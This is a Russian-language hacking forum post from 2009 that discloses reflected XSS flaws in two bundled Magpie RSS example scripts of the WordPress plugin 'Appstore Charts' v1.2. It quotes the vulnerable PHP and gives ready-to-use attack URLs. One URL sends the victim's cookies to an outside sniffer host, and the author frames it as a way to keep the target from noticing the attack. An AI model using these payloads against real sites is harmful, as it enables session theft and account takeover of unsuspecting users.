Показать сообщение отдельно

  #101  
Старый 05.03.2009, 21:14
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

Модуль на WordPress - Appstore Charts
Version v. 1.2

Уязвимость как всегда из за невнимательности разработчиков... Как и в прошлом модуле используются сторонние разработки, в данном случае Magpie RSS - PHP RSS Parser(подробнее можно узнать тут: http://magpierss.sourceforge.net/)
Папка Magpie RSS полностью содержится в составе модуля, а вместе с ним и пробные срипты =) Вобщем уязвимость в следующих местах:
1. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php
Уязвимый код:
PHP код:
$url $_GET['rss_url'];
[...]
if ( 
$url ) {
    echo 
"displaying: $url<p>";
    
$rss fetch_rss$url );
    echo 
slashbox ($rss);
}

echo 
"<pre>";
print_r($rss);
echo 
"</pre>"
Для проверки можно обратиться:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>alert()</script>
Но можно увидеть что на странице появились ошибки(в частности раскрытие путей) и цель может испугаться или догадаться, и сменить пароль я лично вижу такой выход из ситации =) просто не дать ему увидеть:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>document.location.href="http://addres-snifera.ru/s.gif?"%2Bdocument.cookie</script>
+ на %2B обязательно иначе не пройдет...
2. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_debug.php
Уязвимый код:
PHP код:
if ( isset($_GET['url']) ) {
    
$url $_GET['url'];
}
else {
    
$url 'http://magpierss.sf.net/test.rss';
}

[...]

$rss fetch_rss$url );
    
if (
$rss) {
    echo 
"<h3>Example Output</h3>";
    echo 
"Channel: " $rss->channel['title'] . "<p>";
    echo 
"<ul>";
    foreach (
$rss->items as $item) {
        
$href $item['link'];
        
$title $item['title'];    
        echo 
"<li><a href=$href>$title</a></li>";
    }
    echo 
"</ul>";
}
else {
    echo 
"Error: " magpie_error();
}
?> 
Использование аналогично номеру 1 =) только rss_url на url меняется...
 
Ответить с цитированием